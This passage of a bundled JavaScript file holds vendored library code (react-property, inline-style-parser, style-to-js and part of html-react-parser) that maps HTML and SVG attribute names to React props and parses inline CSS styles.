        limitingConeAngle: 1,
        local: 0,
        markerEnd: 1,
        &quot;marker-end&quot;: &quot;markerEnd&quot;,
        markerHeight: 1,
        markerMid: 1,
        &quot;marker-mid&quot;: &quot;markerMid&quot;,
        markerStart: 1,
        &quot;marker-start&quot;: &quot;markerStart&quot;,
        markerUnits: 1,
        markerWidth: 1,
        mask: 0,
        maskContentUnits: 1,
        maskUnits: 1,
        mathematical: 0,
        mode: 0,
        numOctaves: 1,
        offset: 0,
        opacity: 0,
        operator: 0,
        order: 0,
        orient: 0,
        orientation: 0,
        origin: 0,
        overflow: 0,
        overlinePosition: 1,
        &quot;overline-position&quot;: &quot;overlinePosition&quot;,
        overlineThickness: 1,
        &quot;overline-thickness&quot;: &quot;overlineThickness&quot;,
        paintOrder: 1,
        &quot;paint-order&quot;: &quot;paintOrder&quot;,
        panose1: 0,
        &quot;panose-1&quot;: &quot;panose1&quot;,
        pathLength: 1,
        patternContentUnits: 1,
        patternTransform: 1,
        patternUnits: 1,
        pointerEvents: 1,
        &quot;pointer-events&quot;: &quot;pointerEvents&quot;,
        points: 0,
        pointsAtX: 1,
        pointsAtY: 1,
        pointsAtZ: 1,
        prefix: 0,
        preserveAlpha: 1,
        preserveAspectRatio: 1,
        primitiveUnits: 1,
        property: 0,
        r: 0,
        radius: 0,
        refX: 1,
        refY: 1,
        renderingIntent: 1,
        &quot;rendering-intent&quot;: &quot;renderingIntent&quot;,
        repeatCount: 1,
        repeatDur: 1,
        requiredExtensions: 1,
        requiredFeatures: 1,
        resource: 0,
        restart: 0,
        result: 0,
        results: 0,
        rotate: 0,
        rx: 0,
        ry: 0,
        scale: 0,
        security: 0,
        seed: 0,
        shapeRendering: 1,
        &quot;shape-rendering&quot;: &quot;shapeRendering&quot;,
        slope: 0,
        spacing: 0,
        specularConstant: 1,
        specularExponent: 1,
        speed: 0,
        spreadMethod: 1,
        startOffset: 1,
        stdDeviation: 1,
        stemh: 0,
        stemv: 0,
        stitchTiles: 1,
        stopColor: 1,
        &quot;stop-color&quot;: &quot;stopColor&quot;,
        stopOpacity: 1,
        &quot;stop-opacity&quot;: &quot;stopOpacity&quot;,
        strikethroughPosition: 1,
        &quot;strikethrough-position&quot;: &quot;strikethroughPosition&quot;,
        strikethroughThickness: 1,
        &quot;strikethrough-thickness&quot;: &quot;strikethroughThickness&quot;,
        string: 0,
        stroke: 0,
        strokeDasharray: 1,
        &quot;stroke-dasharray&quot;: &quot;strokeDasharray&quot;,
        strokeDashoffset: 1,
        &quot;stroke-dashoffset&quot;: &quot;strokeDashoffset&quot;,
        strokeLinecap: 1,
        &quot;stroke-linecap&quot;: &quot;strokeLinecap&quot;,
        strokeLinejoin: 1,
        &quot;stroke-linejoin&quot;: &quot;strokeLinejoin&quot;,
        strokeMiterlimit: 1,
        &quot;stroke-miterlimit&quot;: &quot;strokeMiterlimit&quot;,
        strokeWidth: 1,
        &quot;stroke-width&quot;: &quot;strokeWidth&quot;,
        strokeOpacity: 1,
        &quot;stroke-opacity&quot;: &quot;strokeOpacity&quot;,
        suppressContentEditableWarning: 1,
        suppressHydrationWarning: 1,
        surfaceScale: 1,
        systemLanguage: 1,
        tableValues: 1,
        targetX: 1,
        targetY: 1,
        textAnchor: 1,
        &quot;text-anchor&quot;: &quot;textAnchor&quot;,
        textDecoration: 1,
        &quot;text-decoration&quot;: &quot;textDecoration&quot;,
        textLength: 1,
        textRendering: 1,
        &quot;text-rendering&quot;: &quot;textRendering&quot;,
        to: 0,
        transform: 0,
        typeof: 0,
        u1: 0,
        u2: 0,
        underlinePosition: 1,
        &quot;underline-position&quot;: &quot;underlinePosition&quot;,
        underlineThickness: 1,
        &quot;underline-thickness&quot;: &quot;underlineThickness&quot;,
        unicode: 0,
        unicodeBidi: 1,
        &quot;unicode-bidi&quot;: &quot;unicodeBidi&quot;,
        unicodeRange: 1,
        &quot;unicode-range&quot;: &quot;unicodeRange&quot;,
        unitsPerEm: 1,
        &quot;units-per-em&quot;: &quot;unitsPerEm&quot;,
        unselectable: 0,
        vAlphabetic: 1,
        &quot;v-alphabetic&quot;: &quot;vAlphabetic&quot;,
        values: 0,
        vectorEffect: 1,
        &quot;vector-effect&quot;: &quot;vectorEffect&quot;,
        version: 0,
        vertAdvY: 1,
        &quot;vert-adv-y&quot;: &quot;vertAdvY&quot;,
        vertOriginX: 1,
        &quot;vert-origin-x&quot;: &quot;vertOriginX&quot;,
        vertOriginY: 1,
        &quot;vert-origin-y&quot;: &quot;vertOriginY&quot;,
        vHanging: 1,
        &quot;v-hanging&quot;: &quot;vHanging&quot;,
        vIdeographic: 1,
        &quot;v-ideographic&quot;: &quot;vIdeographic&quot;,
        viewBox: 1,
        viewTarget: 1,
        visibility: 0,
        vMathematical: 1,
        &quot;v-mathematical&quot;: &quot;vMathematical&quot;,
        vocab: 0,
        widths: 0,
        wordSpacing: 1,
        &quot;word-spacing&quot;: &quot;wordSpacing&quot;,
        writingMode: 1,
        &quot;writing-mode&quot;: &quot;writingMode&quot;,
        x1: 0,
        x2: 0,
        x: 0,
        xChannelSelector: 1,
        xHeight: 1,
        &quot;x-height&quot;: &quot;xHeight&quot;,
        xlinkActuate: 1,
        &quot;xlink:actuate&quot;: &quot;xlinkActuate&quot;,
        xlinkArcrole: 1,
        &quot;xlink:arcrole&quot;: &quot;xlinkArcrole&quot;,
        xlinkHref: 1,
        &quot;xlink:href&quot;: &quot;xlinkHref&quot;,
        xlinkRole: 1,
        &quot;xlink:role&quot;: &quot;xlinkRole&quot;,
        xlinkShow: 1,
        &quot;xlink:show&quot;: &quot;xlinkShow&quot;,
        xlinkTitle: 1,
        &quot;xlink:title&quot;: &quot;xlinkTitle&quot;,
        xlinkType: 1,
        &quot;xlink:type&quot;: &quot;xlinkType&quot;,
        xmlBase: 1,
        &quot;xml:base&quot;: &quot;xmlBase&quot;,
        xmlLang: 1,
        &quot;xml:lang&quot;: &quot;xmlLang&quot;,
        xmlns: 0,
        &quot;xml:space&quot;: &quot;xmlSpace&quot;,
        xmlnsXlink: 1,
        &quot;xmlns:xlink&quot;: &quot;xmlnsXlink&quot;,
        xmlSpace: 1,
        y1: 0,
        y2: 0,
        y: 0,
        yChannelSelector: 1,
        z: 0,
        zoomAndPan: 1
      };
    }
  });

  // node_modules/react-property/lib/index.js
  var require_lib3 = __commonJS({
    &quot;node_modules/react-property/lib/index.js&quot;(exports) {
      &quot;use strict&quot;;
      var RESERVED = 0;
      var STRING = 1;
      var BOOLEANISH_STRING = 2;
      var BOOLEAN = 3;
      var OVERLOADED_BOOLEAN = 4;
      var NUMERIC = 5;
      var POSITIVE_NUMERIC = 6;
      function getPropertyInfo(name123) {
        return properties.hasOwnProperty(name123) ? properties[name123] : null;
      }
      function PropertyInfoRecord(name123, type, mustUseProperty, attributeName, attributeNamespace, sanitizeURL, removeEmptyString) {
        this.acceptsBooleans = type === BOOLEANISH_STRING || type === BOOLEAN || type === OVERLOADED_BOOLEAN;
        this.attributeName = attributeName;
        this.attributeNamespace = attributeNamespace;
        this.mustUseProperty = mustUseProperty;
        this.propertyName = name123;
        this.type = type;
        this.sanitizeURL = sanitizeURL;
        this.removeEmptyString = removeEmptyString;
      }
      var properties = {};
      var reservedProps = [
        &quot;children&quot;,
        &quot;dangerouslySetInnerHTML&quot;,
        // TODO: This prevents the assignment of defaultValue to regular
        // elements (not just inputs). Now that ReactDOMInput assigns to the
        // defaultValue property -- do we need this?
        &quot;defaultValue&quot;,
        &quot;defaultChecked&quot;,
        &quot;innerHTML&quot;,
        &quot;suppressContentEditableWarning&quot;,
        &quot;suppressHydrationWarning&quot;,
        &quot;style&quot;
      ];
      reservedProps.forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          RESERVED,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        [&quot;acceptCharset&quot;, &quot;accept-charset&quot;],
        [&quot;className&quot;, &quot;class&quot;],
        [&quot;htmlFor&quot;, &quot;for&quot;],
        [&quot;httpEquiv&quot;, &quot;http-equiv&quot;]
      ].forEach(([name123, attributeName]) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [&quot;contentEditable&quot;, &quot;draggable&quot;, &quot;spellCheck&quot;, &quot;value&quot;].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEANISH_STRING,
          false,
          // mustUseProperty
          name123.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;autoReverse&quot;,
        &quot;externalResourcesRequired&quot;,
        &quot;focusable&quot;,
        &quot;preserveAlpha&quot;
      ].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEANISH_STRING,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;allowFullScreen&quot;,
        &quot;async&quot;,
        // Note: there is a special case that prevents it from being written to the DOM
        // on the client side because the browsers are inconsistent. Instead we call focus().
        &quot;autoFocus&quot;,
        &quot;autoPlay&quot;,
        &quot;controls&quot;,
        &quot;default&quot;,
        &quot;defer&quot;,
        &quot;disabled&quot;,
        &quot;disablePictureInPicture&quot;,
        &quot;disableRemotePlayback&quot;,
        &quot;formNoValidate&quot;,
        &quot;hidden&quot;,
        &quot;loop&quot;,
        &quot;noModule&quot;,
        &quot;noValidate&quot;,
        &quot;open&quot;,
        &quot;playsInline&quot;,
        &quot;readOnly&quot;,
        &quot;required&quot;,
        &quot;reversed&quot;,
        &quot;scoped&quot;,
        &quot;seamless&quot;,
        // Microdata
        &quot;itemScope&quot;
      ].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEAN,
          false,
          // mustUseProperty
          name123.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;checked&quot;,
        // Note: `option.selected` is not updated if `select.multiple` is
        // disabled with `removeAttribute`. We have special logic for handling this.
        &quot;multiple&quot;,
        &quot;muted&quot;,
        &quot;selected&quot;
        // NOTE: if you add a camelCased prop to this list,
        // you&#039;ll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          BOOLEAN,
          true,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;capture&quot;,
        &quot;download&quot;
        // NOTE: if you add a camelCased prop to this list,
        // you&#039;ll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          OVERLOADED_BOOLEAN,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;cols&quot;,
        &quot;rows&quot;,
        &quot;size&quot;,
        &quot;span&quot;
        // NOTE: if you add a camelCased prop to this list,
        // you&#039;ll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          POSITIVE_NUMERIC,
          false,
          // mustUseProperty
          name123,
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [&quot;rowSpan&quot;, &quot;start&quot;].forEach((name123) =&gt; {
        properties[name123] = new PropertyInfoRecord(
          name123,
          NUMERIC,
          false,
          // mustUseProperty
          name123.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      var CAMELIZE = /[\-\:]([a-z])/g;
      var capitalize2 = (token) =&gt; token[1].toUpperCase();
      [
        &quot;accent-height&quot;,
        &quot;alignment-baseline&quot;,
        &quot;arabic-form&quot;,
        &quot;baseline-shift&quot;,
        &quot;cap-height&quot;,
        &quot;clip-path&quot;,
        &quot;clip-rule&quot;,
        &quot;color-interpolation&quot;,
        &quot;color-interpolation-filters&quot;,
        &quot;color-profile&quot;,
        &quot;color-rendering&quot;,
        &quot;dominant-baseline&quot;,
        &quot;enable-background&quot;,
        &quot;fill-opacity&quot;,
        &quot;fill-rule&quot;,
        &quot;flood-color&quot;,
        &quot;flood-opacity&quot;,
        &quot;font-family&quot;,
        &quot;font-size&quot;,
        &quot;font-size-adjust&quot;,
        &quot;font-stretch&quot;,
        &quot;font-style&quot;,
        &quot;font-variant&quot;,
        &quot;font-weight&quot;,
        &quot;glyph-name&quot;,
        &quot;glyph-orientation-horizontal&quot;,
        &quot;glyph-orientation-vertical&quot;,
        &quot;horiz-adv-x&quot;,
        &quot;horiz-origin-x&quot;,
        &quot;image-rendering&quot;,
        &quot;letter-spacing&quot;,
        &quot;lighting-color&quot;,
        &quot;marker-end&quot;,
        &quot;marker-mid&quot;,
        &quot;marker-start&quot;,
        &quot;overline-position&quot;,
        &quot;overline-thickness&quot;,
        &quot;paint-order&quot;,
        &quot;panose-1&quot;,
        &quot;pointer-events&quot;,
        &quot;rendering-intent&quot;,
        &quot;shape-rendering&quot;,
        &quot;stop-color&quot;,
        &quot;stop-opacity&quot;,
        &quot;strikethrough-position&quot;,
        &quot;strikethrough-thickness&quot;,
        &quot;stroke-dasharray&quot;,
        &quot;stroke-dashoffset&quot;,
        &quot;stroke-linecap&quot;,
        &quot;stroke-linejoin&quot;,
        &quot;stroke-miterlimit&quot;,
        &quot;stroke-opacity&quot;,
        &quot;stroke-width&quot;,
        &quot;text-anchor&quot;,
        &quot;text-decoration&quot;,
        &quot;text-rendering&quot;,
        &quot;underline-position&quot;,
        &quot;underline-thickness&quot;,
        &quot;unicode-bidi&quot;,
        &quot;unicode-range&quot;,
        &quot;units-per-em&quot;,
        &quot;v-alphabetic&quot;,
        &quot;v-hanging&quot;,
        &quot;v-ideographic&quot;,
        &quot;v-mathematical&quot;,
        &quot;vector-effect&quot;,
        &quot;vert-adv-y&quot;,
        &quot;vert-origin-x&quot;,
        &quot;vert-origin-y&quot;,
        &quot;word-spacing&quot;,
        &quot;writing-mode&quot;,
        &quot;xmlns:xlink&quot;,
        &quot;x-height&quot;
        // NOTE: if you add a camelCased prop to this list,
        // you&#039;ll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((attributeName) =&gt; {
        const name123 = attributeName.replace(CAMELIZE, capitalize2);
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;xlink:actuate&quot;,
        &quot;xlink:arcrole&quot;,
        &quot;xlink:role&quot;,
        &quot;xlink:show&quot;,
        &quot;xlink:title&quot;,
        &quot;xlink:type&quot;
        // NOTE: if you add a camelCased prop to this list,
        // you&#039;ll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((attributeName) =&gt; {
        const name123 = attributeName.replace(CAMELIZE, capitalize2);
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          &quot;http://www.w3.org/1999/xlink&quot;,
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [
        &quot;xml:base&quot;,
        &quot;xml:lang&quot;,
        &quot;xml:space&quot;
        // NOTE: if you add a camelCased prop to this list,
        // you&#039;ll need to set attributeName to name.toLowerCase()
        // instead in the assignment below.
      ].forEach((attributeName) =&gt; {
        const name123 = attributeName.replace(CAMELIZE, capitalize2);
        properties[name123] = new PropertyInfoRecord(
          name123,
          STRING,
          false,
          // mustUseProperty
          attributeName,
          &quot;http://www.w3.org/XML/1998/namespace&quot;,
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      [&quot;tabIndex&quot;, &quot;crossOrigin&quot;].forEach((attributeName) =&gt; {
        properties[attributeName] = new PropertyInfoRecord(
          attributeName,
          STRING,
          false,
          // mustUseProperty
          attributeName.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          false,
          // sanitizeURL
          false
          // removeEmptyString
        );
      });
      var xlinkHref = &quot;xlinkHref&quot;;
      properties[xlinkHref] = new PropertyInfoRecord(
        &quot;xlinkHref&quot;,
        STRING,
        false,
        // mustUseProperty
        &quot;xlink:href&quot;,
        &quot;http://www.w3.org/1999/xlink&quot;,
        true,
        // sanitizeURL
        false
        // removeEmptyString
      );
      [&quot;src&quot;, &quot;href&quot;, &quot;action&quot;, &quot;formAction&quot;].forEach((attributeName) =&gt; {
        properties[attributeName] = new PropertyInfoRecord(
          attributeName,
          STRING,
          false,
          // mustUseProperty
          attributeName.toLowerCase(),
          // attributeName
          null,
          // attributeNamespace
          true,
          // sanitizeURL
          true
          // removeEmptyString
        );
      });
      var {
        CAMELCASE,
        SAME,
        possibleStandardNames: possibleStandardNamesOptimized
      } = require_possibleStandardNamesOptimized();
      var ATTRIBUTE_NAME_START_CHAR = &quot;:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD&quot;;
      var ATTRIBUTE_NAME_CHAR = ATTRIBUTE_NAME_START_CHAR + &quot;\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040&quot;;
      var isCustomAttribute = RegExp.prototype.test.bind(
        // eslint-disable-next-line no-misleading-character-class
        new RegExp(&quot;^(data|aria)-[&quot; + ATTRIBUTE_NAME_CHAR + &quot;]*$&quot;)
      );
      var possibleStandardNames = Object.keys(
        possibleStandardNamesOptimized
      ).reduce((accumulator, standardName) =&gt; {
        const propName = possibleStandardNamesOptimized[standardName];
        if (propName === SAME) {
          accumulator[standardName] = standardName;
        } else if (propName === CAMELCASE) {
          accumulator[standardName.toLowerCase()] = standardName;
        } else {
          accumulator[standardName] = propName;
        }
        return accumulator;
      }, {});
      exports.BOOLEAN = BOOLEAN;
      exports.BOOLEANISH_STRING = BOOLEANISH_STRING;
      exports.NUMERIC = NUMERIC;
      exports.OVERLOADED_BOOLEAN = OVERLOADED_BOOLEAN;
      exports.POSITIVE_NUMERIC = POSITIVE_NUMERIC;
      exports.RESERVED = RESERVED;
      exports.STRING = STRING;
      exports.getPropertyInfo = getPropertyInfo;
      exports.isCustomAttribute = isCustomAttribute;
      exports.possibleStandardNames = possibleStandardNames;
    }
  });

  // vendor-external:react
  var require_react = __commonJS({
    &quot;vendor-external:react&quot;(exports, module) {
      module.exports = window.React;
    }
  });

  // node_modules/inline-style-parser/cjs/index.js
  var require_cjs = __commonJS({
    &quot;node_modules/inline-style-parser/cjs/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      var COMMENT_REGEX = /\/\*[^*]*\*+([^/*][^*]*\*+)*\//g;
      var NEWLINE_REGEX = /\n/g;
      var WHITESPACE_REGEX = /^\s*/;
      var PROPERTY_REGEX = /^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/;
      var COLON_REGEX = /^:\s*/;
      var VALUE_REGEX = /^((?:&#039;(?:\\&#039;|.)*?&#039;|&quot;(?:\\&quot;|.)*?&quot;|\([^)]*?\)|[^};])+)/;
      var SEMICOLON_REGEX = /^[;\s]*/;
      var TRIM_REGEX = /^\s+|\s+$/g;
      var NEWLINE = &quot;\n&quot;;
      var FORWARD_SLASH = &quot;/&quot;;
      var ASTERISK = &quot;*&quot;;
      var EMPTY_STRING = &quot;&quot;;
      var TYPE_COMMENT = &quot;comment&quot;;
      var TYPE_DECLARATION = &quot;declaration&quot;;
      function index(style2, options2) {
        if (typeof style2 !== &quot;string&quot;) {
          throw new TypeError(&quot;First argument must be a string&quot;);
        }
        if (!style2) return [];
        options2 = options2 || {};
        var lineno = 1;
        var column = 1;
        function updatePosition(str) {
          var lines = str.match(NEWLINE_REGEX);
          if (lines) lineno += lines.length;
          var i2 = str.lastIndexOf(NEWLINE);
          column = ~i2 ? str.length - i2 : column + str.length;
        }
        function position() {
          var start = { line: lineno, column };
          return function(node) {
            node.position = new Position(start);
            whitespace();
            return node;
          };
        }
        function Position(start) {
          this.start = start;
          this.end = { line: lineno, column };
          this.source = options2.source;
        }
        Position.prototype.content = style2;
        function error(msg) {
          var err = new Error(
            options2.source + &quot;:&quot; + lineno + &quot;:&quot; + column + &quot;: &quot; + msg
          );
          err.reason = msg;
          err.filename = options2.source;
          err.line = lineno;
          err.column = column;
          err.source = style2;
          if (options2.silent) ;
          else {
            throw err;
          }
        }
        function match(re) {
          var m2 = re.exec(style2);
          if (!m2) return;
          var str = m2[0];
          updatePosition(str);
          style2 = style2.slice(str.length);
          return m2;
        }
        function whitespace() {
          match(WHITESPACE_REGEX);
        }
        function comments(rules) {
          var c2;
          rules = rules || [];
          while (c2 = comment()) {
            if (c2 !== false) {
              rules.push(c2);
            }
          }
          return rules;
        }
        function comment() {
          var pos = position();
          if (FORWARD_SLASH != style2.charAt(0) || ASTERISK != style2.charAt(1)) return;
          var i2 = 2;
          while (EMPTY_STRING != style2.charAt(i2) &amp;&amp; (ASTERISK != style2.charAt(i2) || FORWARD_SLASH != style2.charAt(i2 + 1))) {
            ++i2;
          }
          i2 += 2;
          if (EMPTY_STRING === style2.charAt(i2 - 1)) {
            return error(&quot;End of comment missing&quot;);
          }
          var str = style2.slice(2, i2 - 2);
          column += 2;
          updatePosition(str);
          style2 = style2.slice(i2);
          column += 2;
          return pos({
            type: TYPE_COMMENT,
            comment: str
          });
        }
        function declaration() {
          var pos = position();
          var prop = match(PROPERTY_REGEX);
          if (!prop) return;
          comment();
          if (!match(COLON_REGEX)) return error(&quot;property missing &#039;:&#039;&quot;);
          var val = match(VALUE_REGEX);
          var ret = pos({
            type: TYPE_DECLARATION,
            property: trim(prop[0].replace(COMMENT_REGEX, EMPTY_STRING)),
            value: val ? trim(val[0].replace(COMMENT_REGEX, EMPTY_STRING)) : EMPTY_STRING
          });
          match(SEMICOLON_REGEX);
          return ret;
        }
        function declarations() {
          var decls = [];
          comments(decls);
          var decl;
          while (decl = declaration()) {
            if (decl !== false) {
              decls.push(decl);
              comments(decls);
            }
          }
          return decls;
        }
        whitespace();
        return declarations();
      }
      function trim(str) {
        return str ? str.replace(TRIM_REGEX, EMPTY_STRING) : EMPTY_STRING;
      }
      module.exports = index;
    }
  });

  // node_modules/style-to-object/cjs/index.js
  var require_cjs2 = __commonJS({
    &quot;node_modules/style-to-object/cjs/index.js&quot;(exports) {
      &quot;use strict&quot;;
      var __importDefault = exports &amp;&amp; exports.__importDefault || function(mod) {
        return mod &amp;&amp; mod.__esModule ? mod : { &quot;default&quot;: mod };
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.default = StyleToObject;
      var inline_style_parser_1 = __importDefault(require_cjs());
      function StyleToObject(style2, iterator) {
        let styleObject = null;
        if (!style2 || typeof style2 !== &quot;string&quot;) {
          return styleObject;
        }
        const declarations = (0, inline_style_parser_1.default)(style2);
        const hasIterator = typeof iterator === &quot;function&quot;;
        declarations.forEach((declaration) =&gt; {
          if (declaration.type !== &quot;declaration&quot;) {
            return;
          }
          const { property, value } = declaration;
          if (hasIterator) {
            iterator(property, value, declaration);
          } else if (value) {
            styleObject = styleObject || {};
            styleObject[property] = value;
          }
        });
        return styleObject;
      }
    }
  });

  // node_modules/style-to-js/cjs/utilities.js
  var require_utilities2 = __commonJS({
    &quot;node_modules/style-to-js/cjs/utilities.js&quot;(exports) {
      &quot;use strict&quot;;
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.camelCase = void 0;
      var CUSTOM_PROPERTY_REGEX = /^--[a-zA-Z0-9_-]+$/;
      var HYPHEN_REGEX = /-([a-z])/g;
      var NO_HYPHEN_REGEX = /^[^-]+$/;
      var VENDOR_PREFIX_REGEX = /^-(webkit|moz|ms|o|khtml)-/;
      var MS_VENDOR_PREFIX_REGEX = /^-(ms)-/;
      var skipCamelCase = function(property) {
        return !property || NO_HYPHEN_REGEX.test(property) || CUSTOM_PROPERTY_REGEX.test(property);
      };
      var capitalize2 = function(match, character) {
        return character.toUpperCase();
      };
      var trimHyphen = function(match, prefix) {
        return &quot;&quot;.concat(prefix, &quot;-&quot;);
      };
      var camelCase = function(property, options2) {
        if (options2 === void 0) {
          options2 = {};
        }
        if (skipCamelCase(property)) {
          return property;
        }
        property = property.toLowerCase();
        if (options2.reactCompat) {
          property = property.replace(MS_VENDOR_PREFIX_REGEX, trimHyphen);
        } else {
          property = property.replace(VENDOR_PREFIX_REGEX, trimHyphen);
        }
        return property.replace(HYPHEN_REGEX, capitalize2);
      };
      exports.camelCase = camelCase;
    }
  });

  // node_modules/style-to-js/cjs/index.js
  var require_cjs3 = __commonJS({
    &quot;node_modules/style-to-js/cjs/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      var __importDefault = exports &amp;&amp; exports.__importDefault || function(mod) {
        return mod &amp;&amp; mod.__esModule ? mod : { &quot;default&quot;: mod };
      };
      var style_to_object_1 = __importDefault(require_cjs2());
      var utilities_1 = require_utilities2();
      function StyleToJS(style2, options2) {
        var output = {};
        if (!style2 || typeof style2 !== &quot;string&quot;) {
          return output;
        }
        (0, style_to_object_1.default)(style2, function(property, value) {
          if (property &amp;&amp; value) {
            output[(0, utilities_1.camelCase)(property, options2)] = value;
          }
        });
        return output;
      }
      StyleToJS.default = StyleToJS;
      module.exports = StyleToJS;
    }
  });

  // node_modules/html-react-parser/lib/utilities.js
  var require_utilities3 = __commonJS({
    &quot;node_modules/html-react-parser/lib/utilities.js&quot;(exports) {
      &quot;use strict&quot;;
      var __importDefault = exports &amp;&amp; exports.__importDefault || function(mod) {
        return mod &amp;&amp; mod.__esModule ? mod : { &quot;default&quot;: mod };
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.returnFirstArg = exports.canTextBeChildOfNode = exports.ELEMENTS_WITH_NO_TEXT_CHILDREN = exports.PRESERVE_CUSTOM_ATTRIBUTES = void 0;
      exports.isCustomComponent = isCustomComponent;
      exports.setStyleProp = setStyleProp;
      var react_1 = require_react();
      var style_to_js_1 = __importDefault(require_cjs3());
      var RESERVED_SVG_MATHML_ELEMENTS = /* @__PURE__ */ new Set([
        &quot;annotation-xml&quot;,
        &quot;color-profile&quot;,
        &quot;font-face&quot;,
        &quot;font-face-src&quot;,
        &quot;font-face-uri&quot;,
        &quot;font-face-format&quot;,
        &quot;font-face-name&quot;,
        &quot;missing-glyph&quot;
      ]);
      function isCustomComponent(tagName, props) {
        if (!tagName.includes(&quot;-&quot;)) {
          return Boolean(props &amp;&amp; typeof props.is === &quot;string&quot;);
        }
        if (RESERVED_SVG_MATHML_ELEMENTS.has(tagName)) {
          return false;
        }
        return true;
      }
      var styleOptions = {
        reactCompat: true
      };
      function setStyleProp(style2, props) {
        if (typeof style2 !== &quot;string&quot;) {
          return;
        }
        if (!style2.trim()) {
          props.style = {};
          return;
        }
        try {
          props.style = (0, style_to_js_1.default)(style2, styleOptions);
        } catch (error) {
          props.style = {};
        }
      }
      exports.PRESERVE_CUSTOM_ATTRIBUTES = Number(react_1.version.split(&quot;.&quot;)[0]) &gt;= 16;
      exports.ELEMENTS_WITH_NO_TEXT_CHILDREN = /* @__PURE__ */ new Set([
        &quot;tr&quot;,
        &quot;tbody&quot;,
        &quot;thead&quot;,
        &quot;tfoot&quot;,
        &quot;colgroup&quot;,
        &quot;table&quot;,
        &quot;head&quot;,
        &quot;html&quot;,
        &quot;frameset&quot;
      ]);
      var canTextBeChildOfNode = function(node) {
        return !exports.ELEMENTS_WITH_NO_TEXT_CHILDREN.has(node.name);
      };
      exports.canTextBeChildOfNode = canTextBeChildOfNode;
      var returnFirstArg = function(arg) {
        return arg;
      };
      exports.returnFirstArg = returnFirstArg;
    }
  });

  // node_modules/html-react-parser/lib/attributes-to-props.js
  var require_attributes_to_props = __commonJS({
    &quot;node_modules/html-react-parser/lib/attributes-to-props.js&quot;(exports) {
      &quot;use strict&quot;;
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.default = attributesToProps2;
      var react_property_1 = require_lib3();
      var utilities_1 = require_utilities3();
      var UNCONTROLLED_COMPONENT_ATTRIBUTES = [&quot;checked&quot;, &quot;value&quot;];
      var UNCONTROLLED_COMPONENT_NAMES = [&quot;input&quot;, &quot;select&quot;, &quot;textarea&quot;];
      var valueOnlyInputs = {
        reset: true,
        submit: true
      };
      function attributesToProps2(attributes2, nodeName) {
        if (attributes2 === void 0) {
          attributes2 = {};
        }
        var props = {};
        var isInputValueOnly = Boolean(attributes2.type &amp;&amp; valueOnlyInputs[attributes2.type]);
        for (var attributeName in attributes2) {
          var attributeValue = attributes2[attributeName];
          if ((0, react_property_1.isCustomAttribute)(attributeName)) {
            props[attributeName] = attributeValue;
            continue;
          }
          var attributeNameLowerCased = attributeName.toLowerCase();
          var propName = getPropName(attributeNameLowerCased);
          if (propName) {
            var propertyInfo = (0, react_property_1.getPropertyInfo)(propName);
            if (UNCONTROLLED_COMPONENT_ATTRIBUTES.includes(propName) &amp;&amp; UNCONTROLLED_COMPONENT_NAMES.includes(nodeName) &amp;&amp; !isInputValueOnly) {
              propName = getPropName(&quot;default&quot; + attributeNameLowerCased);
            }
